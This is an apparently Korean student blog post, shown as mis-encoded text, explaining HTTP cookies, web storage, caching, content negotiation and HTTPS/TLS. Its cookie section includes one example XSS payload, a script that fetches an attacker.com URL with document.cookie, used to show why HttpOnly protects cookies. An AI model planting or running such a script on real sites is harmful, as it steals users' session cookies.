์ฐ์ ๊ธฐ๋ก ๐ช
์์ฉ๊ณ์ธต - HTTP์ ์์ฉ(์ฟ ํค, ์บ์, ์ฝํ ์ธ ํ์, ์ธ์ฆ, ๋ณด์) ๋ณธ๋ฌธ
์์ฉ๊ณ์ธต - HTTP์ ์์ฉ(์ฟ ํค, ์บ์, ์ฝํ ์ธ ํ์, ์ธ์ฆ, ๋ณด์)
kite707 2025. 4. 24. 20:58์ฟ ํค
์์ HTTP๋ ์คํ ์ดํธ๋ฆฌ์ค ํ๋กํ ์ฝ์ด๋ผ๊ณ ํ์๋ค. ๊ทธ๋ ๊ธฐ์ ๊ฐ์ ํด๋ผ์ด์ธํธ์์ ์์ฒญ์ ๋ ๋ฒ ๋ณด๋ด๋ ๋ณ๊ฐ์ ์์ฒญ์ผ๋ก ํ๋จํ๋ค. ๊ทธ๋ฐ๋ฐ ํด๋ผ์ด์ธํธ์ ์ํ๋ฅผ ๊ธฐ์ตํด์ผ ํ ๋๊ฐ ์๋ค. ์๋ฅผ ๋ค์ด ์ฌ์ฉ์๊ฐ ํน์ ์น์ฌ์ดํธ์์ ๋คํฌ๋ชจ๋๋ฅผ ์ผฐ๋ค๊ณ ๊ฐ์ ํ์. ์ดํ ์ด ์ฌ์ฉ์๊ฐ ๋ค์ ์น์ฌ์ดํธ์ ์ ์ํ๋ฉด ๋คํฌ๋ชจ๋๋ก ๋ณด์ฌ์ง๊ฒ ๋๋ค. ์ด๋ฐ ์ ๋ณด๋ ์๋ฒ์ธก์์ Set-Cookie: mode=dark ํค๋๋ฅผ ์ ๋ฌํ๊ณ , ๋ธ๋ผ์ฐ์ ๋ ์ด๋ฅผ ๋ฐ์ ์ ์ฅํด๋๋ค.
์ดํ ๊ฐ์ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ผ ๋ ๋ฐ์๋ ์ฟ ํค๊ฐ์ ์ ๋ฌํ๋ค. ์ฟ ํค๊ฐ์ด ์ฌ๋ฌ๊ฐ์ด๋ฉด ์ธ๋ฏธ์ฝ๋ก ์ผ๋ก ๋๋์ด ์ ๋ฌํ๋ค. (Cookie : mode=dark; message=test; . . .)
์์์ ๋ดค๋ฏ์ด ์ฟ ํค๋ ์ด๋ฆ=๊ฐ ํ์์ผ๋ก ์ ์ฅ๋๋๋ฐ, ๊ทธ ์ธ์๋ ๋๋ฉ์ธ๊ณผ ๊ฒฝ๋ก, ์ ํจ๊ธฐ๊ฐ๊ณผ ๊ฐ์ ์์ฑ์ ์ค์ ํ ์ ์๋ค.
์๋์ ๊ฐ์ด ์ค์ ํ๋ค. Expires๋ ๋ง๋ฃ ์๊ฐ์ ๋ช ์ํ๋ ๊ฒ์ด๊ณ , Max-Age๋ ์ด ๋จ์๋ก ์ ํจ๊ธฐ๊ฐ์ ์ค์ ํ๋ ๊ฒ์ด๋ค.
๊ทธ ์ธ์๋ HttpOnly(Http๋ก๋ง ์ ๊ทผ ๊ฐ๋ฅ), Secure(HTTPS๋ก๋ง ์ฟ ํค ์ก์์ )๋ฑ์ ๋ณด์ ๊ด๋ จ ์ต์ ๋ค๋ ์๋ค. ์ฟ ํค์ HttpOnly ์ค์ ์ ํ๋ฉด ํฌ๋กฌ ๊ฐ๋ฐ์๋ชจ๋๋ก๋ ๋ณผ ์ ์๊ฒ ๋๋๋ฐ(Http๋ก ์กฐํํ๋ ๊ฒ์ด ์๋๋๊น) ์๋ฐ์คํฌ๋ฆฝํธ๋ก์ ์ ๊ทผ๋ ์ฐจ๋จ๋๊ธฐ ๋๋ฌธ์ XSS์ ๊ฐ์ ๊ณต๊ฒฉ์์ ์ฟ ํค ํ์ทจ๋ฅผ ๋ง์ ์ ์๋ค.
XSS๋?
์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์น ์ฌ์ดํธ์ ์ฝ์ ๋๋ ๊ฒ์ด๋ค. ์๋ฅผ ๋ค์ด ์๋์ ๊ฐ์ ์คํฌ๋ฆฝํธ๊ฐ ์น ์ฌ์ดํธ์ ์ฝ์ ๋์๋ค๊ณ ์น์.
<script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>โ
๊ทธ๋ฌ๋ฉด ์ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ ์น ์ฌ์ดํธ์ ์ ์ํ ๋ ๋ง๋ค ์ฟ ํค๊ฐ์ ํด์ปค์ ์๋ฒ๋ก ์ ์ก๋๋ค. ๊ทธ๋ฐ๋ฐ HttpOnly์ค์ ์ ํ๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ๋ก ์ฟ ํค์ ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์ ์์ ๊ฐ์ ๊ณต๊ฒฉ์์ ์์ ํด์ง๋ ๊ฒ์ด๋ค.
์น ์คํ ๋ฆฌ์ง : ๋ก์ปฌ ์คํ ๋ฆฌ์ง vs ์ธ์ ์คํ ๋ฆฌ์ง
์ฟ ํค์๋ ๋น์ทํ์ง๋ง ์กฐ๊ธ ๋ค๋ฅธ ๊ฐ๋ ์ผ๋ก ์น ์คํ ๋ฆฌ์ง๋ผ๋ ๊ฒ์ด ์๋ค. ์น ์คํ ๋ฆฌ์ง๋ ์น ๋ธ๋ผ์ฐ์ ๋ด์ ์ ์ฅ ๊ณต๊ฐ์ผ๋ก, ์ผ๋ฐ์ ์ผ๋ก ์ฟ ํค๋ณด๋ค ๋ ํฐ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ ์๋ค. ์ฟ ํค๋ ๊ฐ๋น ์ฝ 4KB์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ ์๋๋ฐ ์น ์คํ ๋ฆฌ์ง๋ 5MB๊น์ง ์ ์ฅํ ์ ์๋ค. ์์ ๋ดค๋ฏ์ด ์ฟ ํค๋ ์๋ฒ์ ์๋์ผ๋ก ์ ์ก๋๊ธฐ ๋๋ฌธ์ ํฐ ๋ฐ์ดํฐ๋ฅผ ๋ด์ ์ ์๋ค.
์ด ์น ์คํ ๋ฆฌ์ง๋ ๋ก์ปฌ ์คํ ๋ฆฌ์ง์ ์ธ์ ์คํ ๋ฆฌ์ง๋ก ๋๋๋ค. ๋ก์ปฌ ์คํ ๋ฆฌ์ง๋ ๋ณ๋๋ก ์ญ์ ํ์ง ์๋ ์ด์ ์๊ตฌ์ ์ผ๋ก ์ ์ฅ์ด ๊ฐ๋ฅํ๊ณ , ์ธ์ ์คํ ๋ฆฌ์ง๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ด๋ ค์๋ ๋์ ์ ๋ณด๊ฐ ์ ์ง๋๋ค.
์บ์
์บ์๋ ์๋ต๋ฐ์ ์์์ ์ฌ๋ณธ์ ์์๋ก ์ ์ฅํด๋๋ ๊ฒ์ด๋ค. ์๋ฅผ ๋ค์ด ์ฌ์ง A๊ฐ ์์ฃผ ์กฐํ๋๋ค๋ฉด ์ด๋ฅผ ํด๋ผ์ด์ธํธ(๋ธ๋ผ์ฐ์ )๋ ์บ์ ์๋ฒ์ ์ ์ฅํด๋๊ณ , A๋ฅผ ์์ฒญํ ๋ ๋ง๋ค ์บ์ํด๋ ๊ณณ์์ ๋ถ๋ฌ์ค๋ฉด ๋์ฑ ๋น ๋ฅธ ์๋ต์ ํ ์ ์๋ค. ๊ทธ๋ฐ๋ฐ ๋ฌธ์ ๋ ์บ์์ ์๋ณธ์ด ๋ฌ๋ผ์ง๋ ๊ฒฝ์ฐ์ด๋ค. ๊ทธ๋ ๊ธฐ์ ์บ์์๋ ๋๋ถ๋ถ ์ ํจ๊ธฐ๊ฐ์ด ์ค์ ๋์ด์๋ค. ์ด ์ ํจ๊ธฐ๊ฐ์ ์ฟ ํค์ ๊ฐ์ด Expires๋ฅผ ํตํด ๋ช ์์ ์ผ๋ก ๋ง๋ฃ ๋ ์ง๋ฅผ ๋ถ์ฌํ ์๋ ์๊ณ Max-Age๊ฐ์ ํตํด ์ด ๋จ์๋ก ์ค์ ํ ์๋ ์๋ค.
์ด๋ ๊ฒ ์ค์ ํ ์ ํจ๊ธฐ๊ฐ์ด ๋ง๋ฃ๋๋ฉด ์๋ณธ์ด ๋ณ๊ฒฝ๋ ์ ์ด ์๋์ง๋ฅผ ํ์ธํ๋ค. ์๋ณธ ๋ณ๊ฒฝ ์ฌ๋ถ๋ ๋ ์ง ๋๋ ์ํฐํฐ ํ๊ทธ๋ผ๋ ๊ฒ์ ์ด์ฉํด ํ์ธํ๋ค. ๋จ์ํ๊ฒ ๋ง์ง๋ง ์์ ์ผ์ด ์๋ก ์ผ์นํ๊ฑฐ๋, ์ํฐํฐ ํ๊ทธ๊ฐ ๊ฐ๋ค๋ฉด ์๋ณธ์ด ์์ ๋ ์ ์ด ์๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฉด ์บ์๋ ๊ฐ์ ์ฌ์ฉํด๋ ๋๋ค. ๋ง์ฝ ์๋ณธ์ด ๋ณ๊ฒฝ๋์๋ค๋ ๊ฒ์ ํ์ธํ๋ค๋ฉด ์บ์๋ฅผ ๊ฐฑ์ ํด์ฃผ๋ฉด ๋๋ค.
ํด๋ผ์ด์ธํธ๊ฐ ์๋ณธ์ด ๋ณ๊ฒฝ๋์๋์ง ์ง์ํ ๋๋ ํค๋์ If-Modified-Since(๋ ์ง) ๋๋ If-None-Match(์ํฐํฐ ํ๊ทธ)๊ฐ์ ํ์ฉํ๋ค. ์๋ฒ๋ ์ด๋ฅผ ๋ณด๊ณ ์๋ณธ์ด ๋ณ๊ฒฝ๋์๋์ง ํ์ธํ๊ณ ๋ณ๊ฒฝ๋์์ ๊ฒฝ์ฐ 200๊ณผ ํจ๊ป ์๋ก์ด ์๋ณธ์ ๋ฆฌํดํ๋ค. ๊ทธ๋ฆฌ๊ณ ๋ณ๊ฒฝ๋์ง ์์์ผ๋ฉด 304(Not Modified)์ฝ๋์ ์์์ ๋ง์ง๋ง ๋ณ๊ฒฝ ์์ ์ ๋ฆฌํดํ๋ค. ์๋ณธ์ด ์ฌ๋ผ์ ธ์๋ ๊ฒฝ์ฐ๋ ์์ ์ ์๋ค. ์ด ๊ฒฝ์ฐ์ 404(Not Found)๋ฅผ ๋ฆฌํดํ๋ค.
์ฝํ ์ธ ํ์
์ฝํ ์ธ ํ์์ ํด๋ผ์ด์ธํธ๊ฐ ๊ฐ์ฅ ์ ํธํ๋ ๋ฐฉ์์ ์์์ ์ ๊ณตํ๋ ๊ฒ์ด๋ค. ๋ํ์ ์ธ ์๋ก ์ธ์ฝ๋ฉ์ด ์๋ค.
ํด๋ผ์ด์ธํธ๋ Accept ~~~ ํค๋๋ฅผ ํตํด ์ ํธํ๋ ๋ฏธ๋์ดํ์ , ์ธ์ด, ์ธ์ฝ๋ฉ๋ฐฉ์ ๋ฑ์ ์ ๋ฌํ๋ค. ์ด๋ q(Quality Value)๊ฐ์ผ๋ก ์ ํธ๋๋ฅผ ํ๊ธฐํ๊ธฐ๋ ํ๋ค. (ex)ํ๊ตญ์ด๋ฅผ 1๋งํผ, ์์ด๋ฅผ 0.9๋งํผ ์ ํธํ๋ค.
๋ณด์ : SSL/TLS์ HTTPS
HTTPS๋ HTTP+SSL or TLS ์ด๋ค. SSL๊ณผ TLS๋ ๋ชจ๋ ์ธ์ฆ, ์ํธํ๋ฅผ ์ํํ๋ ํ๋กํ ์ฝ์ด๋ฉฐ TLS๋ SSL์ ๊ณ์นํ ํ๋กํ ์ฝ์ ๋งํ๋ค. SSL๊ณผ TLS๋ ๊ฐ๊ฐ ์ฌ๋ฌ ๋ฒ์ ์ด ์์ง๋ง ์ค๋๋ ์ TLS 1.2์ TLS 1.3์ ์ฃผ๋ก ์ฌ์ฉํ๋ค.
TLS 1.3๊ธฐ๋ถ HTTP ๋ฉ์์ง๋ 3 way handshake → TLS handshake → ๋ฉ์์ง ์ก์์ ์์ผ๋ก ์ฒ๋ฆฌ๋๋ค. TLS handshake ๊ณผ์ ์ ์๋์ ๊ฐ๋ค.
'Computer Science > ์ปดํจํฐ ๋คํธ์ํฌ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
7. ํ๋ก์์ ์์ ์ ์ธ ํธ๋ํฝ (0) | 2025.05.06 |
---|---|
์์ฉ๊ณ์ธต - HTTP (0) | 2025.04.23 |
์ ์ก๊ณ์ธต - TCP์ UDP (0) | 2025.04.20 |
๋คํธ์ํฌ ๊ณ์ธต - IP (0) | 2025.04.17 |
ํ๋กํ ์ฝ ์คํ๊ณผ LAN ์ด๋ํฐ์ ๋์ (3) | 2024.10.27 |